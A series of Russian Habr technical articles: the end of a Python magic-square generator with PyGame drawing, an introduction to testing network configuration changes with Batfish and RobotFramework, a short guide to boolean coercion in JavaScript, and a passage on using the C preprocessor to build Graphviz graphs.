# _m - input "previous splitted" matrix, idxs - indices of matrix cells.
def m_rot(_m, idxs):
# [-----X----][-----Y----]
a0 = _m[idxs[0][0]][idxs[0][1]]
for i in range(len(idxs) - 1):
_m[idxs[i][0]][idxs[i][1]] = _m[idxs[i + 1][0]][idxs[i + 1][1]]
_m[idxs[-1][0]][idxs[-1][1]] = a0
return _m
#_m - input "previous splitted" matrix, _steps - pattern of digits swaps (m_3, m_r, ...)...
def magic_steps(_m, _steps):
m0 = _m
for step in _steps:
m0 = m_rot(m0, step)
return m0
```
И, наконец, функция генерации магического квадрата со стороной npow:
```
# _mss - magic steps (m_3, m_4, or ...)
def pow_square(_root, _pow, _mss):
m_dmag = lambda x, d: m_join(magic_steps(m_split(x, d), _mss), d)
_p = _root ** _pow
m0 = m_dmag(create_matrix(_p), _root)
for i in range(1, _pow):
m0 = m_join([[m_dmag(x, _root) for x in y] for y in m_split(m0, _root ** i)], _root ** i)
return m0
```
Чтобы потешить ностальгию, и нарисовать глобальный шаблон для полученного на выходе квадрата, я использовал библиотеку PyGame, как в разы более шуструю альтернативу модулю turtle, который я по недоразумению попытался использовать вначале:
```
# New to_star function computes and draw all lines from matrix on fly.
def to_star(_m):
dim = len(_m)
used = scs.SortedList()
max_sz = 980
tp = 10 # brush transparency.
sz = float(max_sz / dim)
j_to_xy = lambda _j, _d: [(_j - 1) % _d, int((_j - 1) / _d)]
# [matrix position] -> (drawing field point)
c_to_pg = lambda _xy: (float(_xy[1] * sz + 10), float(_xy[0] * sz + 10))
# pygame prepare:
pg.init()
pg.fastevent.init()
d_sz = (max_sz + 20, max_sz + 20)
_sc = pg.display.set_mode(d_sz)
_sc.fill((255, 255, 255))
pg.display.flip()
c = pg.time.Clock()
# start compute & draw
for _y in range(dim):
for events in pg.fastevent.get():
if events.type == pg.QUIT:
pg.quit()
return
sc = _sc.convert_alpha()
sc.fill([0, 0, 0, 0])
for _x in range(1, dim + 1):
j = _x + _y * dim
x, y = j_to_xy(j, dim)
if _m[y][x] == j or _m[y][x] in used:
continue
a = _m[y][x]
x, y = j_to_xy(a, dim)
b = _m[y][x]
used += [a]
pg.draw.line(sc, (0, 0, 0, tp), c_to_pg([x, y]), c_to_pg(j_to_xy(b, dim)))
_sc.blit(sc, (0, 0))
pg.display.update()
sc = _sc.convert_alpha()
sc.fill([0, 0, 0, 0])
for j in range(1, dim * dim + 1):
x, y = j_to_xy(j, dim)
if _m[y][x] == j:
# static point transparency is 50% higher than lines transparency.
pg.draw.circle(sc, (255, 255, 255, (tp + 50) % 100), c_to_pg([x, y]), 1.5)
_sc.blit(sc, (0, 0))
pg.display.update()
while True:
c.tick(60)
for events in pg.event.get():
if events.type == pg.QUIT:
pg.quit()
return
pg.display.update()
```
И в конце - функция `main`, которая, собственно и соберет все это в кучу и запустит:
```
if __name__ == '__main__':
pow = 3
root = 4
m1 = pow_square(root, pow, m_4)
try:
to_star(m1)
except pygame.error:
print('Drawing finished.')
print(m1)
# Compute sums of all digits in rows, columns and diagonals.
m2 = np.rot90(m1)
print([sum(x) for x in m1])
print([sum(x) for x in m2])
print(sum([m1[x, x] for x in range(root ** pow)]))
print(sum([m2[x, x] for x in range(root ** pow)]))
```
Быстрая проверка показала, что метод действительно работает. И при этом - не только на 3х3, но и на 4х4, 5х5, и, скорее всего, на всех других натуральных магических квадратах. Мой метод получения ассоциативных магических квадратов порядка 3n, 4n и 5n безукоризненно работает, и без проблем сработает с любым другим натуральным магическим квадратом (причем, ~~не~~ **обязательно** ассоциативным ~~- все зависит только от заложенного шаблона~~)!
Несколько примеров работы программыМагический квадрат порядка 256. Столбцы и строки перетасованы.Еще один магический квадрат порядка 256. Столбцы и строки перетасованы.Магический квадрат порядка 125. Столбцы и строки перетасованы.
Обратите внимание: только две длинные прямые выделяются на общем фоне. Это значит, остальные линии не проходят друг над дружкой, и не накладываются.Магический квадрат порядка 81 в MS Excel.[Оригинал магического квадрата порядка 81](https://mega.nz/file/1LQw0bhZ#7PDxPZ2YcTMzFCwQ3LlhED93FEdkIBX2RrWYVKwNIGA) (.csv)
[Исходный код программы на GitHub](https://github.com/Xanaj-Kimberly/MagicSquare)
**Примечание:** программа работает довольно медленно с квадратами порядка > 1000. Не рекомендуется запускать на слабых ПК при больших размерностях. Подвисает во время отрисовки.
**P.S.** Скорее всего, код представленный в статье, имеет огромное количество точек оптимизации, и, вероятно, следовало обрабатывать матрицу многопоточно, но так как этот код практически не имеет иной области применения, кроме демонстрации метода генерации магических квадратов, он оставлен, как есть. Заранее извиняюсь за некоторое отсутствие эстетики в коде...
**UPD1.** Полевые испытания показали, что метод применим только к ассоциативным магическим квадратам. Проверка производилась только на нормальных магических квадратах. Код в статье обновлен в целях оптимизации. Были успешно сформированы магические квадраты 2048х2048 и 2401х2401.
2401х2401 | https://habr.com/ru/post/564394/ | null | ru | null |
# Batfish. Введение
Одной из проблем современных сетей является их хрупкость. Множество правил фильтраций, политик обмена маршрутной информации, протоколов динамического роутинга делают сети запутанными и подверженными влиянию человеческого фактора. Авария на сети может произойти ненамеренно при внесении изменений в route-map или ACL ([один](https://www.popularmechanics.com/technology/news/a27971/google-accidentally-broke-japans-internet/), [два](https://www.theregister.co.uk/2016/06/20/telia_engineer_blamed_massive_net_outage/)). Нам определено не хватает инструмента, позволяющего оценить поведение сети с новой конфигурацией перед внесением изменений в продакшн. Хочется точно знать, будет ли мне доступна сеть A, если я отфильтрую часть BGP-анонсов, полученных от провайдера B? Каким маршрутом пойдут пакеты из сети C к серверу D, если на одном из транзитных линков я увеличу IGP метрику в два раза? Ответить на эти и многие другие вопросы нам поможет Batfish!
Обзор Batfish
-------------
Batfish – это инструмент для моделирования сети. Основным его назначением является тестирование конфигурационных изменений перед их внесением в рабочую сеть. Batfish так же можно использовать для анализа и проверки текущего состояния сети. Существующим CI/CD процессам в сетевом мире явно не хватает инструмента для тестирования новых конфигураций. Batfish позволяет решить эту проблему.
Batfish не требует непосредственного прямого доступа к действующему сетевому оборудованию, Batfish моделирует поведение сети на основе данных, содержащихся в конфигурационных файлах устройств.
Batfish может:
* определить статус соседства протоколов динамической маршрутизации в сети (BGP, IS-IS, OSPF)
* просчитать RIB каждого сетевого элемента
* проверить настройки NTP, AAA, MTU
* позволить определить, блокирует ли ACL прохождение сетевого трафика (аналог packet-tracer на Cisco ASA)
* проверить наличие end-to-end связности между хостами внутри сети
* показать путь прохождения трафика через сеть (виртуальная трассировка)
Поддерживаемые платформы:
* Arista
* Aruba
* AWS (VPCs, Network ACLs, VPN GW, NAT GW, Internet GW, Security Groups)
* Cisco (NX-OS, IOS, IOS-XE, IOS-XR и ASA)
* Dell Force10
* Foundry
* iptables
* Juniper (MX, EX, QFX, SRX, T-series, PTX)
* MRV
* Palo Alto Networks
* Quagga / FRR
* Quanta
* VyOS
Batfish – это Java приложение. Для удобной работы с ним был написан Pybatfish — python SDK.
Перейдем к практике. Я продемонстрирую Вам возможности Batfish на примере.
Пример
------
Под нашим управлением находится две автономные системы: AS 41214 и AS 10631. В качестве IGP в AS 41214 используется IS-IS, в AS 10631 – OSPF. Внутри каждой AS используется IBGP-fullmesh. LDN-CORE-01 анонсирует своим соседям по BGP префикс 135.65.0.0/19, MSK-CORE-01 – 140.0.0.0/24. Обмен маршрутной информацией между автономными системами происходит на стыке HKI-CORE-01 — SPB-CORE-01.
**HKI-CORE-01, STH-CORE-01** — Junos routers
**LDN-CORE-01, AMS-CORE-01, SPB-CORE-01, MSK-CORE-01** — Cisco IOS routers
[](https://habrastorage.org/webt/oc/a6/xv/oca6xv1rrtbzkou8autoshzlfte.png)
Установим контейнер с Batfish и python SDK:
```
docker pull batfish/allinone
docker run batfish/allinone
docker container exec -it bash
```
Познакомимся с библиотекой через интерактивный режим python:
```
root@ea9a1559d88e:/# python3
--------------------
>>> from pybatfish.client.commands import bf_logger, bf_init_snapshot
>>> from pybatfish.question.question import load_questions
>>> from pybatfish.question import bfq
>>> import logging
>>> bf_logger.setLevel(logging.ERROR)
>>> load_questions()
>>> bf_init_snapshot('tmp/habr')
'ss_e8065858-a911-4f8a-b020-49c9b96d0381'
```
**bf\_init\_snapshot('tmp/habr')** — функция загружает конфигурационные файлы в Batfish и подготавливает их к анализу.
**/tmp/habr** – директория с конфигурационными файлами роутеров.
```
root@ea9a1559d88e:/tmp/habr# tree
.
`-- configs
|-- AMS-CORE-01.cfg
|-- HKI-CORE-01.cfg
|-- LDN-CORE-01.cfg
|-- MSK-CORE-01.cfg
|-- SPB-CORE-01.cfg
`-- STH-CORE-01.cfg
1 directory, 6 files
```
Теперь давайте определим статус BGP-сессий на роутере LDN-CORE-01:
```
>>> bgp_peers = bfq.bgpSessionStatus(nodes='LDN-CORE-01').answer().frame()
>>> bgp_peers
Node VRF Local_AS Local_IP Remote_AS Remote_Node Remote_IP Session_Type Est_Status
0 ldn-core-01 default 41214 172.20.20.1 41214 sth-core-01 172.20.20.2 IBGP EST
1 ldn-core-01 default 41214 172.20.20.1 41214 ams-core-01 172.20.20.3 IBGP EST
2 ldn-core-01 default 41214 172.20.20.1 41214 hki-core-01 172.20.20.4 IBGP EST
```
Ну, как? Похоже на правду?
```
LDN-CORE-01#show ip bgp summary
…
Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd
172.20.20.2 4 41214 629 669 9 0 0 00:56:51 0
172.20.20.3 4 41214 826 827 9 0 0 01:10:18 0
172.20.20.4 4 41214 547 583 9 0 0 00:49:24 1
```
Теперь давайте посмотрим, какие IS-IS маршруты есть в RIB на маршрутизаторе HKI-CORE-01 по мнению Batfish:
```
>>> isis_routes = bfq.routes(nodes='HKI-CORE-01', protocols='isis').answer().frame()
>>> isis_routes
Node VRF Network Next_Hop Next_Hop_IP Protocol Admin_Distance Metric Tag
0 hki-core-01 default 172.20.20.3/32 ams-core-01 10.0.0.6 isisL2 18 20 None
1 hki-core-01 default 172.20.20.1/32 ams-core-01 10.0.0.6 isisL2 18 30 None
2 hki-core-01 default 172.20.20.2/32 sth-core-01 10.0.0.4 isisL2 18 10 None
3 hki-core-01 default 172.20.20.1/32 sth-core-01 10.0.0.4 isisL2 18 30 None
4 hki-core-01 default 10.0.0.0/31 sth-core-01 10.0.0.4 isisL2 18 20 None
5 hki-core-01 default 10.0.0.2/31 ams-core-01 10.0.0.6 isisL2 18 20 None
```
В командной строке:
```
showroute@HKI-CORE-01# run show route table inet.0 protocol isis
inet.0: 18 destinations, 18 routes (18 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
10.0.0.0/31 *[IS-IS/18] 00:51:25, metric 20
> to 10.0.0.4 via ge-0/0/0.0
10.0.0.2/31 *[IS-IS/18] 00:51:45, metric 20
> to 10.0.0.6 via ge-0/0/1.0
172.20.20.1/32 *[IS-IS/18] 00:51:25, metric 30
to 10.0.0.4 via ge-0/0/0.0
> to 10.0.0.6 via ge-0/0/1.0
172.20.20.2/32 *[IS-IS/18] 00:51:25, metric 10
> to 10.0.0.4 via ge-0/0/0.0
172.20.20.3/32 *[IS-IS/18] 00:51:45, metric 20
> to 10.0.0.6 via ge-0/0/1.0
```
Отлично! Полагаю, Вам стало яснее, что есть Batfish.
В начале статьи я писал, что Batfish можно использовать для проверки конфигурационных изменений перед их внесением в «боевую» сеть. Теперь я предлагаю рассмотреть процесс проведения тестирования сети на базе **RobotFramework**. Для этого я написал небольшой модуль на основе PyBatfish, позволяющий выполнять следующие проверки:
* Определять статус BGP-сессий в сети
* Определять состояние IS-IS соседей
* Проверять наличие end-to-end связности между узлами в сети с демонстрацией трассировки
* Определять размер RIB на роутере для определенного протокола динамической маршрутизации
**LibraryBatfish.py**
```
import logging
from pybatfish.client.commands import bf_logger, bf_init_snapshot
from pybatfish.question.question import load_questions, list_questions
from pybatfish.question import bfq
from pybatfish.datamodel.flow import HeaderConstraints, PathConstraints
from robot.api import logger
class LibraryBatfish(object):
def __init__(self, snapshot):
bf_logger.setLevel(logging.ERROR)
load_questions()
bf_init_snapshot(snapshot)
def check_bgp_peers(self):
not_established_peers = list()
bgp_peers = bfq.bgpSessionStatus().answer()
for peer in bgp_peers.rows:
if peer.get('Established_Status') != 'ESTABLISHED':
not_established_peers.append(dict.fromkeys(peer.get('Local_IP').split(), peer.get('Remote_IP').get('value')))
if len(not_established_peers) == 0:
return 1
else:
logger.warn('BGP neighbors are not in an established state:')
for neighborship in not_established_peers:
for peer in neighborship:
logger.warn('{} - {}'.format(peer, neighborship.get(peer)))
return 0
def check_routes(self, node, protocol):
routes = bfq.routes(nodes=node, protocols=protocol).answer()
return len(routes.rows)
def check_isis_neighbors(self, description):
not_isis_enabled_links = list()
for link in self._get_isis_enabled_links(description):
if link not in self._get_isis_neighbors():
not_isis_enabled_links.append(link)
if len(not_isis_enabled_links) == 0:
return 1
else:
for link in not_isis_enabled_links:
logger.warn('{} {} has no IS-IS neighbor'.format(link.get('hostname'), link.get('interface')))
return 0
def ping(self, source_ip, destination_ip):
ip_owners = bfq.ipOwners().answer()
traceroute = self._get_traceroute_status(source_ip, destination_ip, ip_owners)
reverse_traceroute = self._get_traceroute_status(destination_ip, source_ip, ip_owners)
if traceroute == True and reverse_traceroute == True:
self._show_trace(source_ip, destination_ip, ip_owners)
return 1
else:
logger.warn('Ping {} -> {} failed'.format(source_ip, destination_ip))
return 0
def _get_traceroute_status(self, source_ip, destination_ip, addresses):
tracert = self._unidirectional_virtual_traceroute(source_ip, destination_ip, addresses)
isAccepted = True
if tracert != None:
for trace in tracert.rows[0].get('Traces'):
if trace.get('disposition') != 'ACCEPTED':
isAccepted = False
if isAccepted == True:
return True
else:
return False
def _get_paths(self, source_ip, destination_ip, addresses):
tracert = self._unidirectional_virtual_traceroute(source_ip, destination_ip, addresses)
traces = tracert.rows[0].get('Traces')
paths = dict()
path_number = 1
for trace in traces:
if trace.get('disposition') == 'ACCEPTED':
path = list()
for hop in trace.get('hops'):
path.append(hop.get('node').get('name'))
paths[path_number] = path
path_number += 1
return paths
def _unidirectional_virtual_traceroute(self, source_ip, destination_ip, addresses):
for address in addresses.rows:
if address.get('IP') == source_ip:
node = address.get('Node').get('name')
int = address.get('Interface')
headers = HeaderConstraints(srcIps=source_ip, dstIps=destination_ip, ipProtocols=['ICMP'])
try:
tracert = bfq.traceroute(startLocation="{}[{}]".format(node,int), headers=headers).answer()
return tracert
except:
logger.warn('{} address has not been found'.format(source_ip))
def _get_isis_enabled_links(self, description='core-link'):
isis_enabled_links = list()
interfaces = bfq.interfaceProperties().answer()
for int in interfaces.rows:
if int.get('Description') != None and description in int.get('Description'):
isis_enabled_links.append({'hostname' : int.get('Interface').get('hostname'),
'interface' : int.get('Interface').get('interface')})
return isis_enabled_links
def _get_isis_neighbors(self):
isis_neighbors = list()
isis_adjacencies = bfq.edges(edgeType='isis').answer()
for neighbor in isis_adjacencies.rows:
isis_neighbors.append(neighbor.get('Interface'))
return isis_neighbors
def _show_trace(self, source_ip, destination_ip, addresses):
logger.console('\nTraceroute to {} from {}'.format(destination_ip, source_ip))
paths = self._get_paths(source_ip, destination_ip, addresses)
path_num = 1
for path in paths:
n = 1
logger.console('\n Path N{}'.format(path_num))
for hop in paths.get(path):
logger.console(' {} {}'.format(n, hop))
n += 1
path_num += 1
```
**batfish-test.robot**
Сценарий N1
-----------
[](https://habrastorage.org/webt/oc/a6/xv/oca6xv1rrtbzkou8autoshzlfte.png)
Под моим управлением находится все та же сеть. Допустим, мне требуется привести в порядок фильтры на границе **AS 41214** и **AS 10631** и заблокировать на стыке пакеты, содержащие в source или destination ip адреса из диапазона BOGONS.
Запускаем тест до внесения изменений.
Тесты пройдены.
Внесем изменения в тестовую конфигурацию роутера **HKI-CORE-01** — /tmp/habr/configs/HKI-CORE-01.cfg:
```
set firewall family inet filter BOGONS term TERM010 from address 0.0.0.0/8
set firewall family inet filter BOGONS term TERM010 from address 10.0.0.0/8
set firewall family inet filter BOGONS term TERM010 from address 100.64.0.0/10
set firewall family inet filter BOGONS term TERM010 from address 127.0.0.0/8
set firewall family inet filter BOGONS term TERM010 from address 169.254.0.0/16
set firewall family inet filter BOGONS term TERM010 from address 172.16.0.0/12
set firewall family inet filter BOGONS term TERM010 from address 192.0.2.0/24
set firewall family inet filter BOGONS term TERM010 from address 192.88.99.0/24
set firewall family inet filter BOGONS term TERM010 from address 192.168.0.0/16
set firewall family inet filter BOGONS term TERM010 from address 198.18.0.0/15
set firewall family inet filter BOGONS term TERM010 from address 198.51.100.0/24
set firewall family inet filter BOGONS term TERM010 from address 203.0.113.0/24
set firewall family inet filter BOGONS term TERM010 from address 224.0.0.0/4
set firewall family inet filter BOGONS term TERM010 from address 240.0.0.0/4
set firewall family inet filter BOGONS term TERM010 then discard
set firewall family inet filter BOGONS term PERMIT-IP-ANY-ANY then accept
set interfaces ge-0/0/2.0 family inet filter input BOGONS
set interfaces ge-0/0/2.0 family inet filter output BOGONS
```
Запускаем тест.
Я был очень близок, но как показывает вывод теста, после внесенных изменений BGP соседство 192.168.30.0 – 192.168.30.1 находится не в состоянии Established -> как следствие, теряется IP связность между точками 135.65.0.1 <-> 140.0.0.1. Что же не так? Смотрим внимательно в конфигурацию **HKI-CORE-01** и видим, что eBGP пиринг установлен на приватных адресах:
```
showroute@HKI-CORE-01# show interfaces ge-0/0/2 | display set
set interfaces ge-0/0/2 description SPB-CORE-01
set interfaces ge-0/0/2 unit 0 family inet filter input BOGONS
set interfaces ge-0/0/2 unit 0 family inet filter output BOGONS
set interfaces ge-0/0/2 unit 0 family inet address 192.168.30.0/31
```
Вывод: необходимо поменять адреса на стыке или добавить в исключение подсеть 192.168.30.0/31.
Добавлю сеть на стыке в исключение, вновь обновлю /tmp/habr/configs/HKI-CORE-01.cfg:
```
set firewall family inet filter BOGONS term TERM005 from address 192.168.0.0/31
set firewall family inet filter BOGONS term TERM005 then accept
```
Запускаем тест.
Теперь нежелательный трафик не пройдет через ebgp стык AS 41214 – AS 10631. Можно смело вносить изменения, не опасаясь последствий.
Сценарий N2
-----------
[](https://habrastorage.org/webt/zk/zy/aw/zkzyawxfphcnrmi2dsrd2xyz2ik.png)
Здесь мне необходимо затерминировать сеть 150.0.0.0/24 на роутере **MSK-CORE-01** и обеспечить связность между точками 135.65.0.1 и 150.0.0.1
Добавляю следующие строки в тестовую конфигурацию маршрутизатора MSK-CORE-01 — tmp/habr/configs/MSK-CORE-01.cfg:
```
interface Loopback2
ip address 150.0.0.1 255.255.255.255
!
ip route 150.0.0.0 255.255.255.0 Null0
!
router bgp 10631
!
address-family ipv4
network 150.0.0.0 mask 255.255.255.0
!
```
Изменяю тестовый сценарий и запускаю проверку:
```
git diff HEAD~
diff --git a/batfish-robot.robot b/batfish-robot.robot
index 8d963c5..ce8cb6a 100644
--- a/batfish-robot.robot
+++ b/batfish-robot.robot
@@ -5,7 +5,7 @@ Library LibraryBatfish.py tmp/habr
${ISIS-ENABLED-LINK-DESCRIPTION} ISIS-LINK
${NODE} HKI-CORE-01
${PROTOCOL} ebgp
-${RIB-SIZE} 1
+${RIB-SIZE} 2
*** Test Cases ***
ISIS
@@ -27,3 +27,8 @@ Ping
[Documentation] Test end-to-end ICMP connectivity & show traceroute
${result}= Ping 135.65.0.1 140.0.0.1
Should Be Equal As Integers ${result} 1
+
+Ping2
+ [Documentation] Test end-to-end ICMP connectivity & show traceroute
+ ${result}= Ping 135.65.0.1 150.0.0.1
+ Should Be Equal As Integers ${result} 1
```
*теперь я ожидаю увидеть два eBGP маршрута на роутере HKI-CORE-01, так же добавлена дополнительная проверка связности*
Связности между 135.65.0.1 и 150.0.0.1 нет, к тому же на маршрутизаторе **HKI-CORE-01** всего один eBGP маршрут, вместо двух.
Проверяем содержание RIB на **HKI-CORE-01** при добавлении новой конфигурации на роутер **MSK-CORE-01**:
```
showroute@HKI-CORE-01# run show route table inet.0 protocol bgp
inet.0: 20 destinations, 20 routes (19 active, 0 holddown, 1 hidden)
+ = Active Route, - = Last Active, * = Both
135.65.0.0/19 *[BGP/170] 02:25:38, MED 0, localpref 100, from 172.20.20.1
AS path: I, validation-state: unverified
> to 10.0.0.4 via ge-0/0/0.0
to 10.0.0.6 via ge-0/0/1.0
140.0.0.0/24 *[BGP/170] 01:38:02, localpref 100
AS path: 10631 I, validation-state: unverified
> to 192.168.30.1 via ge-0/0/2.0
showroute@HKI-CORE-01# run show route table inet.0 protocol bgp hidden detail
inet.0: 20 destinations, 20 routes (19 active, 0 holddown, 1 hidden)
150.0.0.0/24 (1 entry, 0 announced)
BGP /-101
Next hop type: Router, Next hop index: 563
Address: 0x940f43c
Next-hop reference count: 4
Source: 192.168.30.1
Next hop: 192.168.30.1 via ge-0/0/2.0, selected
Session Id: 0x9
State:
Local AS: 41214 Peer AS: 10631
Age: 1:42:03
Validation State: unverified
Task: BGP\_10631.192.168.30.1+179
AS path: 10631 I
Localpref: 100
Router ID: 10.68.1.1
Hidden reason: rejected by import policy
```
Обратите внимание на политику импорта префиксов, полученных от **SPB-CORE-01**:
```
set protocols bgp group AS10631 import FROM-AS10631
set protocols bgp group AS10631 neighbor 192.168.30.1 description SPB-CORE-01
set protocols bgp group AS10631 neighbor 192.168.30.1 peer-as 10631
set policy-options policy-statement FROM-AS10631 term TERM010 from route-filter 140.0.0.0/24 exact
set policy-options policy-statement FROM-AS10631 term TERM010 then accept
set policy-options policy-statement FROM-AS10631 term DENY then reject
```
Не хватает правила, разрешающего 150.0.0.0/24. Добавляем его в тестовую конфигурацию и запускаем проверку:
```
showroute@HKI-CORE-01# show | compare
[edit policy-options policy-statement FROM-AS10631 term TERM010 from]
route-filter 140.0.0.0/24 exact { ... }
+ route-filter 150.0.0.0/24 exact;
[edit]
```
Отлично, связность между сетями есть, все тесты пройдены! Значит можно внести данные изменения в работу «боевой» сети.
Заключение
----------
На мой взгляд, Batfish — это мощнейщий инструмент с огромным потенциалом. Попробуйте и убедитесь в этом сами.
Если данная тема Вам интересна — присоединяйтесь в slack чат, разработчики Batfish с удовольсвтием отвечают на любые вопросы и быстро правят баги.
[batfish-org.slack.com](https://batfish-org.slack.com)
Благодарю за внимание.
Ссылки
------
[www.batfish.org](https://www.batfish.org/)
[www.youtube.com/channel/UCA-OUW\_3IOt9U\_s60KvmJYA](https://www.youtube.com/channel/UCA-OUW_3IOt9U_s60KvmJYA)
[github.com/batfish/batfish](https://github.com/batfish/batfish)
[media.readthedocs.org/pdf/pybatfish/latest/pybatfish.pdf](https://media.readthedocs.org/pdf/pybatfish/latest/pybatfish.pdf)
[github.com/showroute/batfish-habr](https://github.com/showroute/batfish-habr) | https://habr.com/ru/post/441532/ | null | ru | null |
# Приведение значений к Boolean в JavaScript
Логическое (или булевое) значение - это примитивный тип данных, который может содержать в себе true или false (истина или ложь). JavaScript использует приведение типа, чтобы привести значение к true\false. Есть явные и скрытые методы преобразования значений в их логические аналоги.
В этой статье мы поговорим о "истинных" и "ложных" значениях, а также о том, как преобразовать обычные значения в логические в JavaScript.
### Шпаргалка по “инстинным” и “ложным” значениям в JavaScript
```
Boolean(false); // false
Boolean(undefined); // false
Boolean(null); // false
Boolean(''); // false
Boolean(NaN); // false
Boolean(0); // false
Boolean(-0); // false
Boolean(0n); // false
Boolean(true); // true
Boolean('hi'); // true
Boolean(1); // true
Boolean([]); // true
Boolean([0]); // true
Boolean([1]); // true
Boolean({}); // true
Boolean({ a: 1 }); // true
```
Эта шпаргалка - отличная иллюстрация того, какие значение в JavaScript конвертируются как “истинные” или “ложные”.
Выше мы говорили про разницу между явным и скрытым приведением, давайте посмотрим на разницу между ними.
Скрытое приведение инициируется движком JavaScript и происходит *автоматически*. Явное же приведение наоборот - происходит в “ручном режиме” с использованием встроенных способов JavaScript - оператора `!!` и функции `Boolean()`.
#### Оператор !!
```
!!value
```
Думаю, вы уже знакомы с логическим оператором "НЕ” - `!`. Так вот оператор `!!` действует следующим образом: первый знак `!` приводит значение к логическому и инвертирует его. Например, `!true` равняется `false`. Второй оператор `!` снова инвертирует полученное значение. В нашем примере `!false` приравнивается к `true`.
В целом, лучше исопльзовать этот способ, так как у него лучше производительность. Единственное “но” при его использовании - низкая читабельность такого кода. Однако эта проблема возникает только в том случае, если другие разработчики не знакомы с тем, как работает этот оператор.
```
const value = 'Строчка истины'
!!value // true
```
Рассмотрим процесс поподробнее:
```
const value = 'Строчка истины'
!value // false
!!value // true
```
Ниже - примеры работы оператора `!!` со значениями из нашей шпаргалки:
```
// Ложные значения
!!'' // false
!!false // false
!!null // false
!!undefined // false
!!0 // false
!!NaN // false
// Истинные значения
!![] // true
!!"false" // true
!!true // true
!!1 // true
!!{} // true
```
#### Функция Boolean()
```
Boolean(value)
```
`Boolean()` - это глобальная функция, которая конвертирует значение, переданное в него, в логическое.
Не стоит использовать его с ключевым словом `new` (`new Boolean`), т.к. это создает сущность Boolean, которая является объектом. Ниже - пример правильного использования этой функции:
```
const value = 'Строчка правды'
Boolean(value) //true
```
### Если кратко
В JavaScript есть два явных способа приведения значения к логическому.
#### 1. !!
```
!!value
```
#### 2. Boolean()
```
Boolean(value)
```
```
const finalThoughts = "Спасибо за прочтению! Надеюсь кому-то это будет полезно."
!!finalThoughts // true
Boolean(finalThoughts) // true
``` | https://habr.com/ru/post/667662/ | null | ru | null |
# Синергия Graphviz и препроцессора C/C++
Это статья посвящена тому, как использовать популярный инструмент рисования графов *Graphviz* в кооперации с препроцессором C/C++ (далее просто препроцессор).
Ключевым моментом является то, что язык описания графов *dot*, который использует *Graphviz*, по своему синтаксису пригоден для обработки препроцессором. Так задумано разработчиками. Благодаря их прозорливости, мы при описании графов можем использовать следующие возможности (цитирую википедию по памяти):
* замена соответствующих диграфов и триграфов на эквивалентные символы «#» и «\»;
* удаление экранированных символов перевода строки;
* замена строчных и блочных комментариев пустыми строками (с удалением окружающих пробелов и символов табуляции);
* вставка (включение) содержимого произвольного файла (*#include*);
* макроподстановки (*#define*);
* условная компиляция (*#if, #ifdef, #elif, #else, #endif*);
Теперь продемонстрируем открывшиеся возможности на практике. В качестве примера возьмем граф из моей статьи о [Медиастримере2](https://habr.com/ru/post/499010/), он на рисунке ниже.
Граф достаточно большой и если его описывать "в лоб" то потребуется много ручной безошибочной работы. Если приглядеться, то можно вычленить повторяющиеся элементы с разницей только в содержании некоторых полей. Так выглядят узлы графа обозначенные как m*1, m2, m2\_1, m2\_2, m3, m4*. Это первые кандидаты на применение малой механизации с помощью макросов. Создаем заголовочный файл для нашего основного dot-файла. Назовем его *common.dot*:
```
// Файл common.dot содержит определения для основного файла графа.
#define Q(x) #x // Вспомогательное макро для "закавычивания" строки внутри макро.
#define QUOTE(x) Q(x) // Макро для "закавычивания" строки внутри другого макро.
// Определяем макрос для условного изображения внутренних полей структуры mblk_t.
// макрос будет показывать только некоторые поля структуры.
#define msg_staff \
\*prev \
| \*next \
| \*cont \
| \*data \
| other\nstuff
// Определяем макрос для условного изображения самой структуры mblk\_t.
#define msg(name, ... ) \
name[xlabel=mblk\_t label=QUOTE( name | msg\_staff) \
];
// Определяем макрос для условного изображения самой структуры dblk\_t.
#define dbuf(name ...) \
name[label=QUOTE( name) xlabel="dblk\_t"];
// Определяем макрос для условного изображения структуры queue\_t.
// Часть полей этой структуры совпадают с полями структуры mblk\_t,
// поэтому в определение подставлен макрос msg\_staff.
#define queue(name, ...) \
name[ xlabel="queue\_t" label=QUOTE( name | \
msg\_staff)];
```
Теперь подошло время написать основной файл графа. Назовем его *my\_graph.dot*:
```
// Файл my_graph.dot
// Подключаем наш файл с определением макросов.
#include "common.dot"
digraph queue_demo
{
rankdir=LR;
node[shape=Mrecord];
// Используя определенные нами выше макросы,
// создаем узлы, которые будут на графе символизировать блоки данных.
dbuf(d1);
dbuf(d2);
dbuf(d2_1);
dbuf(d2_2);
dbuf(d3);
dbuf(d4);
// создаем узлы, которые будут на графе символизировать сообщения,
// к которым привязаны блоки данных.
msg(m1);
msg(m2);
msg(m2_1);
msg(m2_2);
msg(m3);
msg(m4);
// Создаем экземпляр структуры управляющей очередью.
// Узел будет иметь имя q1.
queue(q1);
// Описываем соединения блоков данных с узлами сообщений.
m1:d->d1;
m2:d->d2;
m2_1:d->d2_1;
m2_2:d->d2_2;
m3:d->d3;
m4:d->d4;
// Описываем соединения сообщений между собой.
m1:n -> m2:h;
m1:p -> q1:h;
m2:n -> m3:h;
m2:c->m2_1:h;
m2_1:c->m2_2:h;
m3:n -> m4:h;
m2:p -> m1:h;
m3:p -> m2:h;
m4:p -> m3:h;
// Описываем соединения сообщений со структурой очереди.
q1:n->m1:h;
q1:p->m4:h;
m4:n -> q1:h[color=blue]; // Подкрашиваем ребро синим цветом.
}
```
Обрабатываем файл препроцессором:
```
$ cpp my_graph.dot -o my_graph_res.dot
```
Результат будет помещен в файл *my\_graph\_res.dot*. В результате работы препроцессора файл описания графа примет вид:
```
# 1 ""
# 1 ""
# 1 "my\_graph.dot"
# 1 "common.dot" 1
# 3 "my\_graph.dot" 2
digraph queue\_demo
{
rankdir=LR;
node[shape=Mrecord];
d1[label=" d1" xlabel="dblk\_t"];;
d2[label=" d2" xlabel="dblk\_t"];;
d2\_1[label=" d2\_1" xlabel="dblk\_t"];;
d2\_2[label=" d2\_2" xlabel="dblk\_t"];;
d3[label=" d3" xlabel="dblk\_t"];;
d4[label=" d4" xlabel="dblk\_t"];;
m1[xlabel=mblk\_t label=" m1 | \*prev | \*next | \*cont | \*data | other\nstuff" ];;
m2[xlabel=mblk\_t label=" m2 | \*prev | \*next | \*cont | \*data | other\nstuff" ];;
m2\_1[xlabel=mblk\_t label=" m2\_1 | \*prev | \*next | \*cont | \*data | other\nstuff" ];;
m2\_2[xlabel=mblk\_t label=" m2\_2 | \*prev | \*next | \*cont | \*data | other\nstuff" ];;
